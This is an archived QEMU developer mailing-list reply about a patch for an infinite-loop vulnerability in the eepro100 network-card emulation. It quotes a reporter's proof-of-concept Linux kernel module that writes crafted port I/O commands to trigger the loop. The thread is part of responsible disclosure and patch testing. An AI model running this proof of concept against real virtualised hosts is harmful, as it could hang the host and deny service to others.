All of lore.kernel.org
 help / color / mirror / Atom feed
From: Stefan Weil <sw@weilnetz.de>
To: Qinghao Tang <luodalongde@gmail.com>, P J P <ppandit@redhat.com>
Cc: Paolo Bonzini <pbonzini@redhat.com>,
	Jason Wang <jasowang@redhat.com>,
	QEMU Developers <qemu-devel@nongnu.org>,
	Peter Maydell <peter.maydell@linaro.org>
Subject: Re: [Qemu-devel] [PATCH] eepro100: prevent an infinite loop over same command block
Date: Fri, 20 Nov 2015 08:47:05 +0100	[thread overview]
Message-ID: <564ECFF9.2090803@weilnetz.de> (raw)
In-Reply-To: <CAPcZBq69pHprSLbMFkMZAKSAWw4NAq533NjUwgpiGufMaa4peA@mail.gmail.com>

[-- Attachment #1: Type: text/plain, Size: 2016 bytes --]

Am 20.11.2015 um 07:29 schrieb Qinghao Tang:
> I think the patch can solve this vulnerability.
> I confirm that the loop exist , the poc code can prove that.
>
>
> #include <linux/init.h>
> #include <linux/module.h>
> #include <linux/kernel.h>
> #include <asm/io.h>
> #define PAGE_OFFSET 0x0C000000
> MODULE_LICENSE("GPL");
> static int hello_init(void)
> {
>
>   void* pvirt;
>   void* pphy;
>   unsigned long* pdbal;
>   unsigned long* tdt;
>   unsigned short status;
>   pvirt =kmalloc(0x100,GFP_KERNEL);
>   memset(pvirt,0,0x100);//control the filed of eepro100_tx_t struct
>   pphy=virt_to_phys(pvirt);//get physical address
>   printk(KERN_ALERT "%08x\n",pvirt);
>   printk(KERN_ALERT "%08x\n",pphy);
>   outl(pphy,0xc004);//write the address
>   outw(0x0060,0xc002);
>   outl(0,0xc004);//write the offset
>   outw(0x0010,0xc002); //enter action_command function
>   
>   
> return 0;
> }
> static void hello_exit(void)
> {
> printk(KERN_ALERT "goodbye,kernel\n");
> }
> module_init(hello_init);
> module_exit(hello_exit);
> MODULE_AUTHOR("qinghao tang");
> MODULE_DESCRIPTION("poc for eepro100 infinite loop vulnerability\n");
>
> 2015-11-20 14:10 GMT+08:00 P J P <ppandit@redhat.com
> <mailto:ppandit@redhat.com>>:
>
>       Hello Qinghao,
>
>     +-- On Fri, 20 Nov 2015, Qinghao Tang wrote --+
>     | Currently what problem do you have? Perhaps I could provide more
>     support.
>
>       Could you please confirm if the proposed patch here fixes the issue.
>     Secondly there is uncertainty if the CB loop like Jason mentioned
>     earlier is
>     possible.
>
>     | And please give this vulnerability a cve id.
>
>       Yes I will; As soon as the patch is ready for upstream.
>
>     Thank you.
>     --
>     Prasad J Pandit / Red Hat Product Security Team
>     47AF CE69 3A90 54AA 9045 1053 DD13 3D32 FE5B 041F
>
>

Thanks for this example. Could you please try whether the patch
which I have just sent fixes the problem for you?

And please CC me on any e-mails regarding eepro100.

Stefan


[-- Attachment #2: Type: text/html, Size: 3857 bytes --]

      parent reply	other threads:[~2015-11-20  7:47 UTC|newest]

Thread overview: 16+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2015-10-16 11:12 [Qemu-devel] [PATCH] eepro100: prevent an infinite loop over same command block P J P
2015-10-16 12:41 ` Paolo Bonzini
2015-10-16 17:19   ` P J P
2015-10-16 21:37     ` Stefan Weil
2015-10-17 11:25       ` P J P
2015-10-17 11:35       ` Peter Maydell
2015-10-20  3:04         ` Jason Wang
2015-10-20  3:10           ` max
2015-10-20  3:02     ` Jason Wang
2015-11-03 18:49       ` P J P
2015-11-04  3:31         ` Jason Wang
2015-11-20  2:43           ` Qinghao Tang
2015-11-20  6:10             ` P J P
2015-11-20  6:29               ` Qinghao Tang
2015-11-20  7:23                 ` P J P
2015-11-20  7:47                 ` Stefan Weil [this message]

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=564ECFF9.2090803@weilnetz.de \
    --to=sw@weilnetz.de \
    --cc=jasowang@redhat.com \
    --cc=luodalongde@gmail.com \
    --cc=pbonzini@redhat.com \
    --cc=peter.maydell@linaro.org \
    --cc=ppandit@redhat.com \
    --cc=qemu-devel@nongnu.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.